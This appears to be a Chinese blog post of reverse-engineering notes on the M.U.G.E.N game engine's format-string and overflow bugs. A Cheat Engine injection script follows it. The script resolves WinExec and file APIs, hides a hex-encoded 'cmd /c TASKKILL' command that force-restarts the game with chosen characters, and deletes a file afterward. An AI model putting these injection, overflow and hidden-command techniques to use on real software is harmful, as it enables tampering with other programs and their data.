1.4967DF是%n和%d的处理函数,ecx为写入的原始字符串(%n等没有替换为实际数值),,edx是最后完成替换的字符串,ebx是参数,%n位于496CB6处,ecx为写入的值
2.4ABDC4处的字符串“trigger%i"可以修改并且可以调用%f,但是这个调用不是在主线程里进行的
3.edx是“%n”出现的地方
4.4969BA处下断点,[eax]是字符串长度,textbug的长度似乎是0x403
5.%d的返回值是定值4713F3
6.%i同样会出现textbug
7.edx是字符串读写指针,指向当前要写入的字符位置。在[eax]达到0x403时,指向返回地址的第二个字节
8.text的参数可以为空
9.text会被缓存,第一次之后的写入都是读取缓存写入。缓存中“%n”的字符串如果改成“%d”,那么以后这个text所有的“%n”都会被%d取代。edi指向缓存当前正在读取的字符
10.主线程被暂停后fs:[0]指向的SEH可能会被释放,需要找到入口地址是496150的seh节点并且覆盖
11.由于硬件断点的限制,在4967DF下断点会导致4967DF出的push无法执行,这样会导致堆栈错误。必须自己完成断点语句的动作。4967EE处的xor esi,esi指令动作容易完成并且寄存器变动不大,可以在此处设置断点.4969BA的add esp,0C很容易模拟
12.od在seh的检测上面效果很差,可以使用CE在异常处理处下断点来查看运行情况
13.触发%n检测之后textbug会导致主程序十分卡顿
研究:
1.%n只需要检查字符串中是否有“%n”即可,textbug需要计算字符串长度,其中%xxxd的计算是一个问题
2.既然极限卢使用修改按键处理的方法执行自己的代码并且能够在其他人物选择前执行指向改,那么也许这个方法速度是足够的
3.改掉正常的mugen提示,强行加入%f
4.使用GetWindowThreadProcessId获取窗口线程ID,如果是主线程创建窗口即可获得
5.用CreateToolhelp32Snapshot获取所线程的快照
通过GetWindowThreadProcessId找出mugen的pid。
在进程里找出mugen之后,逐个获取线程id,用OpenThread打开获取句柄,通过GetThreadTimes检测线程的用户时间,用CompareFileTime比较,最长的就是主线程
6.fs:[30]+3000处似乎是主线程的TEB,+24处是主线程id。该处内存可读,之后通过openthread打开即可获得句柄
7.在4967DF处设置断点检查“%n”,在4969BA处下断点检查[eax]是否等于0x403
8.cns指空对已经读取的控制器有何影响?对未读取的控制器有何影响?
9.是否可以修改textbug的地址直接使textbug跳过汇编代码直接返回?
10.是否可以修改edi和edx指向的两个字符串的头部分,将原本的代码改为textbug的返回代码?
11.修改字符串时不能清除掉原有的%d之类字符,因为它们与dtc的params紧密相关,缺少一个都会导致栈异常
结论:
2. x 按键处理不在主线程执行
4. x 主线程没有创建窗口
5. x 谁会写谁写
6.可行
8.未知,但是使用cns指空之后%n检测触发后卡顿的问题得到了解决
9.x
10.可行
11.不完全正确,%d可以没有参数,但是有些不行
;==========================
※汇编代码部分
alloc(newmem,2048)
label(palno_range)
label(start)
label(palno_detect)
label(sff)
label(attack_init)
label(defense)
label(p1_attack_init)
label(p2_attack_init)
label(p2_is_selected)
label(attack)
label(enemy_displayname)
label(mugen_path)
label(cmd_select)
label(p2_cmd)
label(attack_fin)
label(p1)
label(p3)
label(p3_leitaizhan)
label(p5)
label(p7)
label(p2)
label(p4)
label(p4_leitaizhan)
label(p6)
label(p8)
label(set_breakpoint)
label(p1_pre_in_round_fix)
label(p1_defense)
label(p1_in_round_init)
label(p1_in_round_detecte)
label(p1_in_round_fix)
label(p1_player_button_off_fix)
label(p2_defense)
label(p2_pre_in_round_detecte)
label(p2_pre_in_round_fix)
label(p2_in_round_init)
label(p2_in_round_detecte)
label(p2_in_round_fix)
label(p2_player_button_off_fix)
label(exit)
label(next_round_dectet)
4BE010:
start:
pushad
pushfd
mov esi,[4B41A0]
mov edi,[4B41A4]
mov [4B4194],454C10
mov eax,[4B6178]
mov [4B40A0],eax
;这段是傻瓜包的一部分
;根据之前获取的栈地址去判断p侧
palno_detect:
cmp [esi-000047A4],edi
je p1
cmp [esi-00004790],edi
je p3
cmp [esi-00004748],edi
je p3_leitaizhan
cmp [esi-000046EC],edi
je p5
cmp [esi-00004690],edi
je p7
cmp [esi-00002D08],edi
je p2
cmp [esi-00002CF4],edi
je p4
cmp [esi-00002CAC],edi
je p4_leitaizhan
cmp [esi-00002C50],edi
je p6
cmp [esi-00002BF4],edi
je p8
jmp palno_detect
p1:
mov eax,[esi-000047A0]
mov [4B42FF],FFFFFFFF
jmp palno_range
p3:
mov eax,[esi-0000478C]
mov [4B42FF],FFFFFFFF
jmp palno_range
p3_leitaizhan:
mov eax,[esi-00004744]
mov [4B42FF],FFFFFFFF
jmp palno_range
p5:
mov eax,[esi-000046E8]
mov [4B42FF],FFFFFFFF
jmp palno_range
p7:
mov eax,[esi-0000468C]
mov [4B42FF],FFFFFFFF
jmp palno_range
p2:
mov eax,[esi-00002D04]
mov [4B42FF],11111111
jmp palno_range
p4:
mov eax,[esi-00002CF0]
mov [4B42FF],11111111
jmp palno_range
;某个特殊模式的player4
p4_leitaizhan:
mov eax,[esi-00002CA8]
mov [4B42FF],11111111
jmp palno_range
p6:
mov eax,[esi-00002C4C]
mov [4B42FF],11111111
jmp palno_range
p8:
mov eax,[esi-00002BF0]
mov [4B42FF],11111111
jmp palno_range
;判断p数,选择头像
palno_range:
cmp eax,01
ja palno_detect
cmp eax,00
jb palno_detect
mov [4B4270],eax
mov ebp,eax
mov ebx,eax
cmp [ebp*4+4B41E0],00000000
jne sff
mov edx,[4B42A0]
add ebx,66732E40
mov [4B42D6],ebx
push 4BDFF0
push edx
call [4B4194]
add esp,08
mov [ebp*4+4B41E0],eax
;换头像
sff:
mov ecx,[4B41AF]
mov edx,[ebp*4+4B41E0]
mov [ecx],edx
;判断之前保存下来的自己的p数
mov eax,[4B4270]
;1p,进入攻击模块
cmp eax,00
je attack_init
;否则进入防御模块
jmp defense
attack_init:
;攻击用的cmd命令
mov [4B4000],72616863
mov [4B4004],616E5C73
mov [4B4008],6179616E
mov [4B400C],6968735F
mov [4B4010],695C696B
mov [4B4014],78742E31
mov [4B4018],00000074
mov [4B401C],72616863
mov [4B4020],616E5C73
mov [4B4024],6179616E
mov [4B4028],6968735F
mov [4B402C],695C696B
mov [4B4030],78742E32
mov [4B4034],00000074
mov [4B4038],72616863
mov [4B403C],616E5C73
mov [4B4040],6179616E
mov [4B4044],6968735F
mov [4B4048],695C696B
mov [4B404C],65642E33
mov [4B4050],00000066
mov [4B4054],61657243
mov [4B4058],69466574
mov [4B405C],41656C
mov [4B4060],64616552
mov [4B4064],656C6946
mov [4B4068],00000000
mov [4B406C],74697257
mov [4B4070],6C694665
mov [4B4074],00000065
mov [4B4090],736F6C43
mov [4B4094],6E614865
mov [4B4098],00656C64
mov [4B40F0],456E6957
mov [4B40F4],00636578
;获取CreateFile,ReadFile,WriteFile和CloseHandle的地址
push 49F604
call dword ptr [49F0B8]
mov edi,eax
push 4B4054
push edi
call dword ptr [49F130]
mov [4B4100],eax
push 4B4060
push edi
call dword ptr [49F130]
mov [4B4104],eax
push 4B406C
push edi
call dword ptr [49F130]
mov [4B4108],eax
push 4B4090
push edi
call dword ptr [49F130]
mov [4B411C],eax
push 4B40F0
push edi
call dword ptr [49F130]
mov [4B41F0],eax
mov ebp,[4B5B4C]
;判断之前保存的p侧数据
;1p侧
cmp [4B42FF],FFFFFFFF
je p1_attack_init
;2p侧
cmp [4B42FF],11111111
je p2_attack_init
jmp start
p1_attack_init:
;判断p2是否已选
p2_is_selected:
mov eax,[ebp+00000FCC]
;没有选择,在这里等待
cmp eax,-01
;已经选择
je p2_is_selected
;求出p2的displayname基地址
mov eax,[ebp+00000F80]
mov ebx,[ebp+00000FCC]
imul eax,ebx
add eax,[ebp+00000FEC]
jmp attack
p2_attack_init:
mov eax,[ebp+00000F80]
mov ebx,[ebp+00000FBC]
imul eax,ebx
add eax,[ebp+00000FDC]
attack:
mov edx,438
imul eax,edx
mov ecx,[4B54C8]
add ecx,04
add ecx,eax
mov [4B4400],ecx
xor ebx,ebx
;获取敌人的displayname并写入到重启用的def文件中
enemy_displayname:
inc ebx
cmp [ecx+ebx],00000000
mov eax,[ecx+ebx-1]
mov [ebx+4B301D],eax
jne enemy_displayname
mov [4B4405],ebx
push 00
push 00000080
push 03
push 00
push 00
push 80000000
push 4B4000
call dword ptr [4B4100]
mov [4B4120],eax
push 00
push 4B4406
push 1E
push 4B3000
push [4B4120]
call dword ptr [4B4104]
push [4B4120]
call dword ptr [4B411C]
mov [ebx+4B301E],00000022
mov [ebx+4B301F],0000000D
mov [ebx+4B3020],0000000A
push 00
push 00000080
push 03
push 00
push 00
push 80000000
push 4B401C
call dword ptr [4B4100]
mov [4B4124],eax
mov eax,4B3021
add eax,ebx
push 00
push 4B4406
push 000003C6
push eax
push [4B4124]
call dword ptr [4B4104]
push [4B4124]
call dword ptr [4B411C]
push 00
push 00000080
push 02
push 00
push 00
push 40000000
push 4B4038
call dword ptr [4B4100]
mov [4B4128],eax
mov eax,000003E6
add eax,ebx
push 00
push 4B4406
push eax
push 4B3000
push [4B4128]
call dword ptr [4B4108]
push [4B4128]
call dword ptr [4B411C]
call dword ptr [49F0B0]
mov [4B412C],eax
mov [4B4200],20646D63
mov [4B4204],5420632F
mov [4B4208],4B4B5341
mov [4B420C],204C4C49
mov [4B4210],2F20462F
mov [4B4214],22204946
mov [4B4218],444E4957
mov [4B421C],4954574F
mov [4B4220],20454C54
mov [4B4224],4D207165
mov [4B4228],472E552E
mov [4B422C],4E2E452E
mov [4B4230],22262622
xor ebx,ebx
;获取mugen主程序的绝对路径
mugen_path:
inc ebx
mov dl,[eax+ebx]
cmp dl,22
je cmd_select
mov [ebx+4B4233],dl
jmp mugen_path
;写入后续重启cmd命令
cmp [4B42FF],FFFFFFFF
jne p2_cmd
mov eax,4B4233
mov [eax+ebx],20202022
mov [eax+ebx+04],2031702D
mov [eax+ebx+08],616E616E
mov [eax+ebx+0C],735F6179
mov [eax+ebx+10],696B6968
mov [eax+ebx+14],6F79725C
mov [eax+ebx+18],5F696775
mov [eax+ebx+1C],6B696873
mov [eax+ebx+20],65642E69
mov [eax+ebx+24],702D2066
mov [eax+ebx+28],616E2032
mov [eax+ebx+2C],6179616E
mov [eax+ebx+30],6968735F
mov [eax+ebx+34],695C696B
mov [eax+ebx+38],65642E33
mov [eax+ebx+3C],722D2066
mov [eax+ebx+40],646E756F
mov [eax+ebx+44],26322073
mov [eax+ebx+48],6C656426
mov [eax+ebx+4C],61686320
mov [eax+ebx+50],6E5C7372
mov [eax+ebx+54],79616E61
mov [eax+ebx+58],68735F61
mov [eax+ebx+5C],5C696B69
mov [eax+ebx+60],642E3369
mov [eax+ebx+64],00006665
jmp attack_fin
p2_cmd:
mov eax,4B4233
mov [eax+ebx],20202022
mov [eax+ebx+04],2031702D
mov [eax+ebx+08],616E616E
mov [eax+ebx+0C],735F6179
mov [eax+ebx+10],696B6968
mov [eax+ebx+14],2E33695C
mov [eax+ebx+18],20666564
mov [eax+ebx+1C],2032702D
mov [eax+ebx+20],616E616E
mov [eax+ebx+24],735F6179
mov [eax+ebx+28],696B6968
mov [eax+ebx+2C],6F79725C
mov [eax+ebx+30],5F696775
mov [eax+ebx+34],6B696873
mov [eax+ebx+38],65642E69
mov [eax+ebx+3C],722D2066
mov [eax+ebx+40],646E756F
mov [eax+ebx+44],26322073
mov [eax+ebx+48],6C656426
mov [eax+ebx+4C],61686320
mov [eax+ebx+50],6E5C7372
mov [eax+ebx+54],79616E61
mov [eax+ebx+58],68735F61
mov [eax+ebx+5C],5C696B69
mov [eax+ebx+60],642E3369
mov [eax+ebx+64],00006665
attack_fin:
push 00
push 4B4200
call dword ptr [4B41F0]
;防御模块
defense:
mov ebp,[4B5B4C]
cmp [ebp+0000FEC],FFFFFFFF
je defense
cmp [4B42FF],FFFFFFFF
je p1_defense
cmp [4B42FF],11111111
je p2_defense
jmp defense
p1_defense:
mov ecx,[4B41A4]
inc ecx
mov ebx,[ebp+CD0]
sub ebx,A1E
mov edx,E30
imul ecx,edx
add ecx,ebx
mov [4B4400],ecx
mov edx,313E313E
add edx,30303030
cmp [ecx],edx
jne p1_pre_in_round_fix
mov edx,432F3149
add edx,30303030
cmp [ecx+04],edx
jne p1_pre_in_round_fix
mov edx,393B3938
add edx,30303030
cmp [ecx+08],edx
jne p1_pre_in_round_fix
mov edx,3030305F
sub edx,30303030
cmp [ecx+0C],edx
jne p1_pre_in_round_fix
mov edx,313E313E
add edx,30303030
cmp [ecx-206],edx
jne p1_pre_in_round_fix
mov edx,432F3149
add edx,30303030
cmp [ecx-202],edx
jne p1_pre_in_round_fix
mov edx,393B3938
add edx,30303030
cmp [ecx-1FE],edx
jne p1_pre_in_round_fix
mov edx,363533FE
add edx,30303030
cmp [ecx-1FA],edx
jne p1_pre_in_round_fix
set_breakpoint:
cmp [4B42F0],FFFFFFFF
jne set_breakpoint
mov [4B4300],3F
push 4B4300
push [4BE320]
call dword ptr [4BE310]
mov [4B4304],47F18A
mov [4B4308],47ECF1
mov [4B430C],47F23F
mov [4B4318],415
push 4B4300
push [4BE320]
call dword ptr [4BE314]
mov [4B42F0],01010101
push [4BE320]
call dword ptr [4BE308]
jmp p1_in_round_init
p1_pre_in_round_fix:
mov [4B42F0],1
p1_in_round_init:
cmp dword ptr [ebp+0000B758],00
je p1_in_round_init
mov [4B2188],49221E
mov eax,[4B5B4C]
mov ebp,eax
add ebp,0000B754
mov ebp,[ebp]
mov edi,eax
add edi,0000B758
mov edi,[edi]
mov edx,[ebp+00000BE8]
mov esi,[edx]
mov [4B4200],esi
p1_in_round_detecte:
mov ecx,[eax+B654]
add ecx,30
mov esi,[edx]
cmp [4B4200],esi
jne p1_in_round_fix
cmp [4B69B8],01
je p1_in_round_fix
cmp [4B6A38],01
je p1_in_round_fix
cmp [ebp+00000158],00
je p1_in_round_fix
cmp dword ptr [edi+00002620],00
jne p1_in_round_fix
cmp [4B48E8],496651
jne p1_in_round_fix
cmp dword ptr [4B42F0],00
jne p1_in_round_fix
mov ebx,313E313E
add ebx,30303030
cmp [ecx],ebx
jne p1_in_round_fix
mov ebx,432F3149
add ebx,30303030
cmp [ecx+4],ebx
jne p1_in_round_fix
mov ebx,393B3938
add ebx,30303030
cmp [ecx+8],ebx
jne p1_in_round_fix
cmp [4B5960],429CB0
jne p1_in_round_fix
cmp [4B48E8],496651
jne p1_in_round_fix
cmp [4B48EC],4962FB
jne p1_in_round_fix
cmp [4B48F0],496361
jne p1_in_round_fix
cmp [4B48F4],4962A1
jne p1_in_round_fix
mov ebx,[4B6178]
cmp [4B40A0],ebx
jne p1_in_round_fix
cmp dword ptr [ebp],00
je exit
jmp p1_in_round_detecte
p1_in_round_fix:
mov esi,[4B4200]
mov [edx],esi
mov [ebp+00000E24],00000001
mov esi,[edi+00000BE8]
mov [esi],4B4290
mov [edi+00000E24],00000000
mov [4B48E8],496651
mov ebx,313E313E
add ebx,30303030
mov [ecx],ebx
mov ebx,432F3149
add ebx,30303030
mov [ecx+4],ebx
mov ebx,393B3938
add ebx,30303030
mov [ecx+8],ebx
mov ebx,[4B40A0]
mov [4B6178],ebx
cmp dword ptr [ebp],00
je exit
cmp [ebp+158],01
je p1_in_round_fix
cmp [4B69B8],1
je p1_player_button_off_fix
cmp [4B6A38],1
je p1_player_button_off_fix
mov [ebp+158],01
jmp p1_in_round_fix
p1_player_button_off_fix:
mov [4B5948],0
mov [4B594C],1
mov [4B699D],1
mov [4B69B8],1
mov [4B5548],2
jmp p1_in_round_fix
p2_defense:
mov ecx,[4B41A4]
inc ecx
mov ebx,[ebp+CD0]
sub ebx,A1E
mov edx,E30
imul ecx,edx
add ecx,ebx
mov [4B4400],ecx
p2_pre_in_round_detecte:
mov edx,313E313E
add edx,30303030
cmp [ecx],edx
jne p2_pre_in_round_fix
mov edx,432F3149
add edx,30303030
cmp [ecx+04],edx
jne p2_pre_in_round_fix
mov edx,393B3938
add edx,30303030
cmp [ecx+08],edx
jne p2_pre_in_round_fix
mov edx,3030305F
sub edx,30303030
cmp [ecx+0C],edx
jne p2_pre_in_round_fix
mov edx,313E313E
add edx,30303030
cmp [ecx-206],edx
jne p2_pre_in_round_fix
mov edx,432F3149
add edx,30303030
cmp [ecx-202],edx
jne p2_pre_in_round_fix
mov edx,393B3938
add edx,30303030
cmp [ecx-1FE],edx
jne p2_pre_in_round_fix
mov edx,363533FE
add edx,30303030
cmp [ecx-1FA],edx
jne p2_pre_in_round_fix
cmp [4B5960],429CB0
jne p2_pre_in_round_fix
cmp [4B48E8],496651
jne p2_pre_in_round_fix
cmp [4B48EC],4962FB
jne p2_pre_in_round_fix
cmp [4B48F0],496361
jne p2_pre_in_round_fix
cmp [4B48F4],4962A1
jne p2_pre_in_round_fix
cmp dword ptr [ebp+0000B758],00
jne p2_in_round_init
jmp p2_pre_in_round_detecte
p2_pre_in_round_fix:
mov [4B42F0],01
mov [4B5960],429CB0
mov [4B48E8],496651
mov [4B48EC],4962FB
mov [4B48F0],496361
mov [4B48F4],4962A1
mov edx,[4B4130]
mov [4B6178],edx
p2_in_round_init:
mov eax,[4B5B4C]
mov ebp,eax
add ebp,0000B758
mov ebp,[ebp]
test ebp,ebp
jz p2_in_round_init
mov edi,eax
add edi,0000B754
mov edi,[edi]
mov edx,[ebp+00000BE8]
mov esi,[edx]
mov [4B4200],esi
p2_in_round_detecte:
mov ecx,[eax+B658]
add ecx,30
mov esi,[edx]
cmp [4B4200],esi
jne p2_in_round_fix
cmp [4B69B8],01
je p2_in_round_fix
cmp [4B6A38],01
je p2_in_round_fix
cmp dword ptr [edi+00002620],00
jne p2_in_round_fix
cmp [4B48E8],496651
jne p2_in_round_fix
cmp dword ptr [4B42F0],00
jne p2_in_round_fix
mov ebx,313E313E
add ebx,30303030
cmp [ecx],ebx
jne p2_in_round_fix
mov ebx,432F3149
add ebx,30303030
cmp [ecx+4],ebx
jne p2_in_round_fix
mov ebx,393B3938
add ebx,30303030
cmp [ecx+8],ebx
jne p2_in_round_fix
cmp [4B5960],429CB0
jne p2_in_round_fix
cmp [4B48E8],496651
jne p2_in_round_fix
cmp [4B48EC],4962FB
jne p2_in_round_fix
cmp [4B48F0],496361
jne p2_in_round_fix
cmp [4B48F4],4962A1
jne p2_in_round_fix
mov ebx,[4B6178]
cmp [4B40A0],ebx
jne p2_in_round_fix
cmp dword ptr [edi],00
je exit
cmp dword ptr [ebp+0000BC30],01
jne p2_in_round_detecte
jmp p2_in_round_detecte
p2_in_round_fix:
mov esi,[4B4200]
mov [edx],esi
mov [ebp+00000E24],00000001
mov esi,[edi+00000BE8]
mov [esi],4B4290
mov [edi+00000E24],00000000
mov [4B48E8],496651
mov ebx,313E313E
add ebx,30303030
mov [ecx],ebx
mov ebx,432F3149
add ebx,30303030
mov [ecx+4],ebx
mov ebx,393B3938
add ebx,30303030
mov [ecx+8],ebx
mov ebx,[4B40A0]
mov [4B6178],ebx
cmp dword ptr [edi],00
je exit
cmp [4B69B8],1
je p2_player_button_off_fix
cmp [4B6A38],1
je p2_player_button_off_fix
jmp p2_in_round_fix
p2_player_button_off_fix:
mov [4B5948],0
mov [4B594C],1
mov [4B699D],1
mov [4B69B8],1
mov [4B5548],3
jmp p2_in_round_fix
exit:
mov eax,[4B5B4C]
add eax,FBC
mov [eax],FFFFFFFF
next_round_dectet:
cmp [eax],FFFFFFFF
je next_round_dectet
mov [eax+10],FFFFFFFF
popfd
popad
jmp esi
订阅:
博文 (Atom)